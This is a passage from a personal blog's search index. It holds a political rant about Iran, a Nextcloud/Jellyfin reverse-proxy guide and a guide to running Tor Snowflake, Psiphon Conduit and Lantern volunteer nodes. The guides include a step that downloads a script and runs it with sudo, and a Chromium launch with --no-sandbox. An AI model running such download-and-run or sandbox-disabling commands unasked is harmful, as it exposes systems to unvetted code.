/mNXcSn04Ep/o9EuFZZyxRPGx0fFXO2ZNjN/WpctIb8qlNyoqMhyMb4NXJXrr/d1 wY3LJjmn8UM\u0026#43;MOi0CRBYg0B0He4AnGsKD2ARncv6s3vPwPWr95p6jhThOZ/3wqyM QGESlBJ5rM/PmozfLI5D\u0026#43;I\u0026#43;YuX9HM8VO1/HcP28U11lfGCm48YA= =7md6 -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/h3ll0_fr1end.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/h3ll0_fr1end.md.asc gpg --verify h3ll0_fr1end.md.asc h3ll0_fr1end.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/h3ll0_fr1end/","summary":"\u003cp\u003eHello friends. I\u0026rsquo;m back. It\u0026rsquo;s been\u0026hellip; let\u0026rsquo;s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I\u0026rsquo;m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it\u0026rsquo;s shadow over the country for decades. It\u0026rsquo;s funny how his father (I\u0026rsquo;m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people\u0026rsquo;s lives, and then selling people\u0026rsquo;s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it\u0026rsquo;s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not \u0026ldquo;own\u0026rdquo; makes him the best candidate for exploitation. And he has shown this very well.\u003c/p\u003e","title":"H3ll0 Fr1end"},{"content":" I didn’t “move Nextcloud to the cloud”.\nI moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄\nThis post documents the setup I ended up with:\nA public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin\n(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide.\n0) Topology The request path looks like:\nBrowser ↓ HTTPS (public) Cloudflare DNS (optional proxy on/off) ↓ VPS (funbox) — Nginx reverse proxy + Let\u0026#39;s Encrypt ↓ HTTP over Tailscale (private 100.x network) Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / … Why I like it:\nThe Pi can sit behind home router / CGNAT and still be reachable. TLS, redirects, headers, auth, rate limits… all centralized on the VPS. Internal IPs can change without breaking public URLs. 1) What’s running on the Pi? On iot-hub the “interesting” containers are:\nnextcloud (Apache variant) nextcloud-db (Postgres) nextcloud-redis jellyfin Example docker ps style output (yours may vary):\nnextcloud nextcloud:apache 0.0.0.0:8080-\u0026gt;80/tcp jellyfin jellyfin/jellyfin 0.0.0.0:8096-\u0026gt;8096/tcp So on the Pi, the services listen on:\nhttp://\u0026lt;pi\u0026gt;:8080 for Nextcloud http://\u0026lt;pi\u0026gt;:8096 for Jellyfin But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.\n2) Tailscale: the private wire between VPS and Pi Tailscale assigns each node an address like 100.xx.yy.zz.\nIn my config, Nginx on funbox points to the Pi via Tailscale:\nNextcloud upstream: http://100.104.127.96:8080 Jellyfin upstream: http://100.104.127.96:8096 (Use the Tailscale IP of your Pi.)\nQuick sanity checks from the VPS:\n# from funbox, make sure you can reach the Pi service: curl -I http://100.104.127.96:8080 curl -I http://100.104.127.96:8096 If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).\n3) Nginx on the VPS: reverse proxy blocks 3.1 Nextcloud vhost (VPS → Pi via Tailscale) Create (or edit):\n/etc/nginx/sites-available/nextcloud.alipourimjourneys.ir\nand symlink into sites-enabled.\nHere is a complete working example:\n# Redirect HTTP → HTTPS server { listen 80; listen [::]:80; server_name nextcloud.alipourimjourneys.ir; return 301 https://$host$request_uri; } server { listen 443 ssl; listen [::]:443 ssl; server_name nextcloud.alipourimjourneys.ir; # Certbot-managed certs ssl_certificate /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem; include /etc/letsencrypt/options-ssl-nginx.conf; ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # Big uploads (tune to taste) client_max_body_size 2G; # CalDAV/CardDAV redirects location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; } location = /.well-known/caldav { return 301 https://$host/remote.php/dav/; } location / { proxy_pass http://100.104.127.96:8080; proxy_http_version 1.1; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; # Sometimes helps apps behind multiple proxies proxy_set_header X-Forwarded-Host $host; proxy_set_header X-Forwarded-Port $server_port; # Nextcloud + WebDAV can do long requests proxy_read_timeout 3600; proxy_send_timeout 3600; # Usually good for DAV/uploads proxy_buffering off; proxy_request_buffering off; } } Then test + reload:\nsudo nginx -t sudo systemctl reload nginx 3.2 Jellyfin vhost (with Basic Auth) Create:\n/etc/nginx/sites-available/jellyfin.alipourimjourneys.ir\nExample:\nserver { listen 80; listen [::]:80; server_name jellyfin.alipourimjourneys.ir; return 301 https://$host$request_uri; } server { listen 443 ssl; listen [::]:443 ssl; server_name jellyfin.alipourimjourneys.ir; ssl_certificate /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem; include /etc/letsencrypt/options-ssl-nginx.conf; ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; client_max_body_size 512M; # ✅ Basic Auth gate (extra layer before Jellyfin) auth_basic \u0026#34;Jellyfin (private)\u0026#34;; auth_basic_user_file /etc/nginx/.htpasswd-jellyfin; location / { proxy_pass http://100.104.127.96:8096; proxy_http_version 1.1; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; # Jellyfin uses websockets proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; proxy_read_timeout 3600; proxy_send_timeout 3600; proxy_buffering off; } } Enable:\nsudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/ sudo nginx -t sudo systemctl reload nginx 4) Creating the Basic Auth password file Install tools (Debian/Ubuntu):\nsudo apt-get update sudo apt-get install -y apache2-utils Create the password file:\nsudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername (If adding more users later, omit -c.)\nLock it down:\nsudo chown root:root /etc/nginx/.htpasswd-jellyfin sudo chmod 640 /etc/nginx/.htpasswd-jellyfin Notes on clients Most browsers + most Jellyfin apps handle HTTP Basic Auth fine. Some TV apps can be quirky. If a client can’t handle it, you can: remove Basic Auth, or keep it only on selected paths, or use Cloudflare Access in front of Jellyfin instead (more work). 5) Nextcloud: configure it to behave behind the reverse proxy Nextcloud needs to know:\nwhat hostnames are valid, which proxy is trusted, and what the “outside” URL scheme is. You can do it via occ inside the container (Apache image uses www-data).\n5.1 trusted_domains Check current values:\ndocker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains Add your public domain:\ndocker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value=\u0026#34;nextcloud.alipourimjourneys.ir\u0026#34; (Keep your internal name too if you still use it, e.g. rpi:8080.)\n5.2 trusted_proxies Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.\nExample:\ndocker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value=\u0026#34;100.99.79.75\u0026#34; (Use the VPS’s Tailscale IP as seen from the Pi.)\n5.3 overwritehost / overwriteprotocol / overwrite.cli.url Tell Nextcloud “the world sees me as https://nextcloud.example”:\ndocker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value=\u0026#34;nextcloud.alipourimjourneys.ir\u0026#34; docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value=\u0026#34;https\u0026#34; docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value=\u0026#34;https://nextcloud.alipourimjourneys.ir\u0026#34; 5.4 forwarded_for_headers (optional, but often helpful) docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value=\u0026#34;HTTP_X_FORWARDED_FOR\u0026#34; Restart Nextcloud container after config:\ndocker restart nextcloud 6) Sanity checks (curl is your friend) From anywhere public:\ncurl -I http://nextcloud.alipourimjourneys.ir curl -I https://nextcloud.alipourimjourneys.ir curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav Expected “good signs”:\nHTTP returns 301 to HTTPS HTTPS returns 302 to /login (or 200 if already authenticated) /.well-known/caldav returns 301 to /remote.php/dav/ If you see redirect loops or wrong hostnames:\nrevisit overwritehost, overwriteprotocol, trusted_proxies. 7) “Do I really need Cloudflare Access / WARP?” The honest answer If your setup is:\nHTTPS only strong passwords + MFA in Nextcloud/Jellyfin your origin isn’t directly exposed (only the VPS is public) you keep things patched …then you’re already in a reasonable place.\n“Can I skip Cloudflare Access?” Yes. In this topology, Cloudflare Access is optional. The main security boundary is:\nPublic: VPS + Nginx Private: Pi over Tailscale For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.\n8) Cloudflare Access: One-time PIN not arriving + passkeys Two common gotchas:\n8.1 One-time PIN email didn’t arrive That flow relies on email delivery. Check:\nspam/junk folder if your provider blocked it the exact email allowlist in your policy If it’s flaky, I’d avoid One-time PIN and use a real identity provider.\n8.2 Can I use passkeys / Apple / Google? Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. Practical approach:\npick what your family already uses (Google or Apple), configure that as the login method, avoid WARP enrollment unless you specifically want device-based access. 9) Hardening checklist (tiny but effective) On the VPS:\nKeep Ubuntu security updates on firewall: allow only what you need (22/80/443) optional: fail2ban for SSH On the Pi:\nkeep Docker images updated Postgres/Redis not exposed publicly (Docker internal network) backups: Nextcloud data + DB 10) TL;DR VPS Nginx terminates TLS, proxies to Pi over Tailscale Nextcloud must be told about: trusted_domains trusted_proxies overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url) curl -I should show sane redirects + /remote.php/dav/ Jellyfin gets an extra gate with Nginx Basic Auth Boring is good. Boring runs for months.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM jSomZA/\u0026#43;LsB\u0026#43;V0BnPki5qaDc\u0026#43;tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er vfg48uYNp4fBnoyfJrgURx\u0026#43;OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC\u0026#43;58lGs \u0026#43;qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ iVH\u0026#43;ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy\u0026#43;7/id2yz3eXYWn2xKMvp SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx kOvBdjQf4wDqUuNv7NKA\u0026#43;OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/ Gs8K9nADnHhAjWgwTq3D\u0026#43;2qRWcF0tlLSTmKg\u0026#43;95yaYi0XWWMFGTgCv2odPsgFlIS 3FiLJC3rV73prsk\u0026#43;7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v TJ2\u0026#43;amlKyT\u0026#43;Nq9wGrAez\u0026#43;dTvR0FKuEvA5OO693Aibv/iwOX6UPU= =2UUg -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md.asc gpg --verify pi_service_touchup.md.asc pi_service_touchup.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/","summary":"\u003cblockquote\u003e\n\u003cp\u003eI didn’t “move Nextcloud to the cloud”.\u003cbr\u003e\nI moved the \u003cstrong\u003efront door\u003c/strong\u003e to a VPS… and kept the house on my Raspberry Pi. 😄\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eThis post documents the setup I ended up with:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eA public \u003cstrong\u003eVPS\u003c/strong\u003e (host: \u003ccode\u003efunbox\u003c/code\u003e) running \u003cstrong\u003eNginx\u003c/strong\u003e + \u003cstrong\u003eLet’s Encrypt\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eA private \u003cstrong\u003eRaspberry Pi\u003c/strong\u003e (host: \u003ccode\u003eiot-hub\u003c/code\u003e) running Docker services (\u003cstrong\u003eNextcloud\u003c/strong\u003e, \u003cstrong\u003eJellyfin\u003c/strong\u003e, …)\u003c/li\u003e\n\u003cli\u003eA private backhaul using \u003cstrong\u003eTailscale\u003c/strong\u003e (the \u003ccode\u003e100.x.y.z\u003c/code\u003e network)\u003c/li\u003e\n\u003cli\u003eA correct Nextcloud reverse-proxy configuration (\u003cstrong\u003etrusted_domains\u003c/strong\u003e, \u003cstrong\u003etrusted_proxies\u003c/strong\u003e, and overwrite values)\u003c/li\u003e\n\u003cli\u003eA pragmatic security layer for media: \u003cstrong\u003eBasic Auth at Nginx for Jellyfin\u003c/strong\u003e\u003cbr\u003e\n(in addition to Jellyfin’s own login)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI’m writing this as a “future me” note and a “copy-paste friendly” guide.\u003c/p\u003e","title":"Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin"},{"content":"Ever since the latest Internet/communication blackout in Iran, I\u0026rsquo;ve been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven\u0026rsquo;t opened it again.\nAfter getting more and more frustrated, I decided to put my hardware to good use, and host residential-ish volunteer proxies for people wanting to reach the free internet. I chose to host my beloved Snowflake, Conduit (since it became a hot topic), and Lantern. Here’s how you can do the same if you decide to do so.\nOne important vibe check before we start: I’m not giving anyone a custom “backdoor” into your network, and you shouldn’t either. The whole point of the tools below is that they’re designed to work as volunteer nodes inside larger networks (Tor / Psiphon / Lantern), not as random open proxies you expose yourself.\nRunning Anti‑Censorship Infrastructure at Home (Raspberry Pi, server, whatever) I didn’t set out to become a tiny piece of global internet infrastructure. I just had a couple of Raspberry Pis, a decent internet connection, and the uncomfortable feeling that access to information shouldn’t depend on where you were born.\nSo I turned my Pis into helpers.\nThis post is about running three different anti‑censorship tools on Raspberry Pi hardware, quietly and continuously, without exposing scary open ports or babysitting terminals:\nPsiphon Conduit – to help Psiphon users automatically Tor Snowflake (standalone proxy) – to help Tor users automatically Lantern Unbounded – a browser‑based volunteer bridge, daemonized so it runs forever Everything runs headless (or headless‑ish), survives reboots, and doesn’t require me to log in every week just to check if it’s still alive.\nThe philosophy: don’t be a public server, be a volunteer node A theme you’ll see throughout this setup is intentional modesty. I’m not running an open proxy. I’m not advertising an IP address. I’m not routing half the internet through my house.\nInstead, I’m running software that’s designed to safely integrate into bigger systems that already handle discovery, encryption, throttling, abuse prevention, and client UX.\nThat’s the difference between helping — and waking up to your ISP asking why your home IP suddenly became “a whole thing”.\nWhat you need (one time) This guide assumes Ubuntu on ARM (Pi). It works on a normal server too.\nFirst, install Docker (because containers are a gift):\nsudo apt update sudo apt install -y curl curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh sudo usermod -aG docker $USER newgrp docker Now make yourself a clean playground under /srv:\nsudo mkdir -p /srv/{conduit,snowflake,lantern} sudo chown -R $USER:$USER /srv/{conduit,snowflake,lantern} I like /srv because it signals “service data lives here” and I’m less likely to delete it while cleaning my home directory at 3am.\nConduit: quietly helping Psiphon users (Docker) Conduit is Psiphon’s volunteer “station” software. Once it’s running, Psiphon’s own network decides when and how clients use it. There’s nothing to configure, nothing to advertise, and no port forwarding required.\nThe important part is persistence. Conduit generates an identity key the first time it runs (conduit_key.json), and that identity builds reputation over time. If you lose it, you start from zero again.\nThe file: /srv/conduit/docker-compose.yml Create it:\ncd /srv/conduit vim docker-compose.yml Paste this:\nservices: conduit: image: ghcr.io/ssmirr/conduit/conduit:latest container_name: conduit restart: unless-stopped # Keep keys and state across restarts volumes: - ./data:/app/data # Optional: if you want a different bandwidth limit / max clients, # you can pass CLI flags here (these are examples). # command: [\u0026#34;conduit\u0026#34;, \u0026#34;start\u0026#34;, \u0026#34;-b\u0026#34;, \u0026#34;4\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;8\u0026#34;] Then bring it up:\ndocker compose up -d docker logs -f conduit When it’s working, you’ll see things like:\n[OK] Connected to Psiphon network periodic [STATS] lines with Connecting/Connected counters (that’s your “is anyone using this?” moment) If you ever want to stop it:\ndocker stop conduit Or “disable but keep everything” (recommended):\ndocker compose down Or “delete it from orbit” (not recommended unless you enjoy rebuilding):\ndocker rm -f conduit Snowflake: Tor, but even quieter (Docker Compose) Snowflake serves Tor users. It’s explicitly designed to work behind NAT and CGNAT, which makes it perfect for home connections. The Tor Project provides an official Docker Compose file that includes watchtower for automatic updates.\nThe file: /srv/snowflake/docker-compose.yml You can download the official file exactly like this:\ncd /srv/snowflake wget -O docker-compose.yml \\ \u0026#34;https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/raw/main/docker-compose.yml?ref_type=heads\u0026#34; If you’d rather create it yourself (it’s tiny), here’s the same thing in readable YAML:\nservices: snowflake-proxy: network_mode: host image: containers.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake:latest container_name: snowflake-proxy restart: unless-stopped # For a full list of Snowflake proxy args, see the upstream docs. # Example if you ever need it: # command: [\u0026#34;-ephemeral-ports-range\u0026#34;, \u0026#34;30000:60000\u0026#34;] watchtower: image: containrrr/watchtower container_name: watchtower restart: unless-stopped volumes: - /var/run/docker.sock:/var/run/docker.sock command: snowflake-proxy Start it (with auto updates):\ndocker compose up -d docker logs -f snowflake-proxy If you see:\nProxy starting NAT type: restricted …that’s totally fine. “Restricted” is normal for home NAT. If it’s running, you’re helping.\nIf you get the “container name already in use” error, it just means you already have a snowflake-proxy container from a previous attempt. Fix it with:\ndocker rm -f snowflake-proxy docker compose up -d Lantern Unbounded: a browser that helps people (systemd + Xvfb) Lantern Unbounded is different: it runs in a browser (WASM + WebRTC), which makes volunteering frictionless… but also makes servers go “uhh… where is your display?”.\nSo we cheat — politely.\nWe run Chromium inside a virtual display (Xvfb) and supervise it with systemd. No monitor needed. No desktop clicking. It just… exists… and helps.\nInstall what we need sudo apt update sudo apt install -y xvfb sudo apt install -y chromium-browser || sudo apt install -y chromium Fix the X11 socket dir permissions (the annoying but essential part) If you don’t do this, Xvfb may throw:\n_XSERVTransmkdir: ERROR: euid != 0, directory /tmp/.X11-unix will not be created.\nFix it once:\nsudo chmod 1777 /tmp sudo mkdir -p /tmp/.X11-unix sudo chown root:root /tmp/.X11-unix sudo chmod 1777 /tmp/.X11-unix The file: /etc/systemd/system/unbounded.service Pick your username. On my boxes, it’s either hub or rpi. Use your actual user.\nCreate the service:\nsudo vim /etc/systemd/system/unbounded.service Paste this, and replace YOUR_USER with your username (e.g. hub or rpi):\n[Unit] Description=Lantern Unbounded (Xvfb + Chromium) After=network-online.target Wants=network-online.target [Service] User=YOUR_USER Environment=DISPLAY=:99 Environment=XDG_RUNTIME_DIR=/run/user/%U ExecStart=/usr/bin/bash -lc \u0026#39;\\ /usr/bin/Xvfb :99 -screen 0 1280x720x24 -nolisten tcp -ac \u0026amp; \\ sleep 1; \\ $(command -v chromium || command -v chromium-browser) \\ --no-first-run \\ --disable-breakpad \\ --disable-features=TranslateUI \\ --autoplay-policy=no-user-gesture-required \\ --use-fake-ui-for-media-stream \\ --disable-gpu \\ --no-sandbox \\ --app=https://unbounded.lantern.io/ \\ --kiosk \\ --window-size=1280,720 \\ --user-data-dir=/home/YOUR_USER/.config/unbounded-chromium \\ --disk-cache-dir=/home/YOUR_USER/.cache/unbounded-chromium \\ \u0026#39; Restart=always RestartSec=5 KillMode=mixed [Install] WantedBy=multi-user.target Enable and start:\nsudo systemctl daemon-reload sudo systemctl enable --now unbounded.service systemctl status unbounded.service --no-pager If you see Active: active (running), you’ve won.\n“It runs headless-ish, but how do I know it’s alive?” The simplest “is it on?” checks:\nsystemctl status unbounded.service --no-pager journalctl -u unbounded.service -f And the “is it actually doing network things?” check:\nsudo ss -tunap | egrep \u0026#39;chrome|chromium|:443|:3478\u0026#39; || true If you ever want to stop it:\nsudo systemctl stop unbounded.service If you want it not to start on boot:\nsudo systemctl disable unbounded.service A note on safety, legality, and expectations None of this makes you anonymous or magically protected from local laws. You’re contributing bandwidth and connectivity to systems designed to reduce risk — but you should still understand your own environment, and you should still be comfortable with what you’re running.\nThe good news is that all of these tools are designed so you’re not manually granting access to random people. You’re volunteering into networks that already do the hard parts.\nThat’s the part I like.\nThe quiet satisfaction of it all There’s something deeply satisfying about knowing that a small box on a shelf is occasionally helping someone read, learn, or communicate when they otherwise couldn’t.\nNo dashboard. No vanity metrics. Just the occasional log line, quietly scrolling by.\nAnd honestly? That’s enough.\nSome rants I was unable to hear from my parents in the first two weeks of the blackout. In fact, the first time I heard their voices was a few days ago. Ever since then we\u0026rsquo;ve been able to hear each other over calls — not fancy digital ones, the shitty GSM stuff. I saw my mom\u0026rsquo;s face for a few seconds on the first day she managed to connect to Psiphon, but after that no luck. :(\nThis is super sad and frustrating. I\u0026rsquo;ve not really been writing anything due to this. When I came back from my congress + Vienna trip, I\u0026rsquo;ve been dealing with this situation. It\u0026rsquo;s just annoying. Let\u0026rsquo;s cross our fingers for one of my fantasy mind‑created things come true. Things are so incredibly much better in my mind. I want to live in my mind and never come out. Uh\u0026hellip; :(\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM jSoETRAAm6hrWmkHuZeV8JvwSruIuOLkb5LjziFswHUJ8eHrkS\u0026#43;WczSN1mgw5rrx A7pKwjInH\u0026#43;uf/gs3u84Fx9rrgwPTfLQN\u0026#43;\u0026#43;\u0026#43;iuDYobWddwFWvXyCpJ/nBene2i8Dr EwLxgEHAAUEDVmhQLv0TkRdFwhc4Rsds5ajDZHgWzj1GPw6SLpH4QCe02fvBm4Xu 5E\u0026#43;QArl1w47DLJMktoxCT/8tTRtEdls8hwu5WHRJmq3PLJmC9ScSrUmN3S9k3Nrj Ue5mkkZB25fCojBfRkfska9iYsASi2WxuKLsoiqbRqvi2KdgZ7OIGZM5HRUf9WNH XEBD36MCgXA3YEjZPhBrVbOXsqosa5MLiV7XD684K6YsKf37hxqZC7p\u0026#43;XhtcHxwh Pg6AkODzJuZJV2h75UhqHiLSB9xhpX1mtV8IaToyiGRjnLuDthEDsFe7JjejF2cx EXK9Jop7SSqAbB95WsLiWZtvaBgmcyv7XLoe9v5xAm0HyQ97Jn84hnXB1d8QQon7 YYCMNgyLDMo7TlI4HPmgVQYU7/P4xbo6cBdOicif8N\u0026#43;kj0Pf6uFQZ8TB\u0026#43;/Grqsgo xqyrVpCTo/FjabJc8ybN36GwuZVMXpkl3etf2Tmls4A4jDP6CsB5F9vcRnVHyeic pihbZa4Gb9GZTdFmFAHuXVHyVU9APRAq9MMmrUJB9oJgvCOM\u0026#43;Cw= =t4W3 -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/blackout.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/blackout.md.asc gpg --verify blackout.md.asc blackout.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/blackout/","summary":"\u003cp\u003eEver since the latest Internet/communication blackout in Iran, I\u0026rsquo;ve been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven\u0026rsquo;t opened it again.\u003c/p\u003e","title":"Blackout"},{"content":"I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work.\nAfter this very magical event, I got myself an Interrail 4-day pass and visited one of my two besties in Vienna. He had two sweet roomies, who were cool and hospitable. It truely felt like I was back home. We went out a few times, visited Vienna, went to an all-you-can-eat Sushi, played Poker, watched few movies together, baked a pizza with homemade sause and dough. I also managed to visit ISTA and got to test my flipper zero by cloning my friend\u0026rsquo;s NFC tag. It was an amaing trip that I will not forget. I think I got much closer to my bestie. We\u0026rsquo;ve been friends, but not that close at least in his eye. Though in mine he was my best friend before getting to meet my other best friend. ;P And yes, I do have two best friends. One lives in Vienna, and the other in Moen, Norway. They are just amazing people. We also did some cafe-hopping. Idk what about the trip was, but I enjoyed it so so incredibly much. I hope I see my friend more, and get to hangout with him more. There is a difference between those who are your real friends, and those who act like it for a bit. I think I\u0026rsquo;m getting better at knowing who my friends are, and who are there for the heck of it. Oh, and we also plated lots and lots of PS5, Fifa2026, Brawlhalla, etc..\nBonus: Remember I said we went to a Sushi place? I\u0026rsquo;ve been nagging people about going to a bar and practice flirting, they kinda say yes, but never do it. We saw an extremely beautiful girl in the Sushi place, and my friend told me if I\u0026rsquo;m so serious, I should go tell her. And you know what, I did. I approached her, told her and her friend that \u0026ldquo;we were eating across the hall, and I noticed how pretty she is!\u0026rdquo;. They both smiled and thanked me, they truely glewed up!!! It was soooooooo sweeeeeeeeeet. I then wished them a nice evening and left. I didn\u0026rsquo;t want to make it awkward by asking for a number, etc.. It was a beautiful memory, and I wanted it to stay beautiful. So hell yea. I noticed that my aura increased by a lot at least between me and the people we went to that place with. :D Yeeeehaaaaa.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM jSqqgw//YtZhSWMZxoRDP7DCvFwPU5XFvNzAbfRV7vbCjA0YTosI2zHVQpu0Os11 vHLyI6P0331AlPtEjcZG0ZLLreCDSOZjh9sZHgdoCMUyG5brdS2fIsMlFmPT5bj8 Ns61MOe4BYsKJF6/Uzt1aT8Pf21M2a5qgJ8GZ4hKh\u0026#43;dxU4LtSIp6CaGNHH6mrhq5 LjY8rbQtJE2KzsuGevf4NNSQAhZGwxUlwfUsdreRFTWSVDpv7Tjwa/4Go\u0026#43;hE/0n0 HWcmIsQgBMiu\u0026#43;XEN5R8jCmW\u0026#43;IZ4uN0FMW6Y\u0026#43;IlfLKNmhhTCj/e\u0026#43;2kO3mxP5TPltf 2B72vMhhca6xTW3yGIUh0C/QQz7CqCxB0KMsAQrO2ebwEZCkPspahxqoXL9E1QNy JIafzVNz9tIDe1SfnP9NnxQ\u0026#43;gNu8WIyPA96nUNDyhQyE3mgP6m68LKePrRHaJ1Zu 5xpuA8nesJsD9oM\u0026#43;ryzcFgHzbPmu9Syub9xczWHYNParjS/34FzGZ7/kT6kKZCE2 cxIGSe7G53FL4ONXL/mQf7C2z5JwcRz0PJ2vstNEv/7oYF11jpvt0OsR9QjbxdF1 Msj9Hqs9rr9ylBYWztWmXws7SYuoZRdoC4M6lGucLsbcK\u0026#43;FjAvby\u0026#43;KYBObc/mbB4 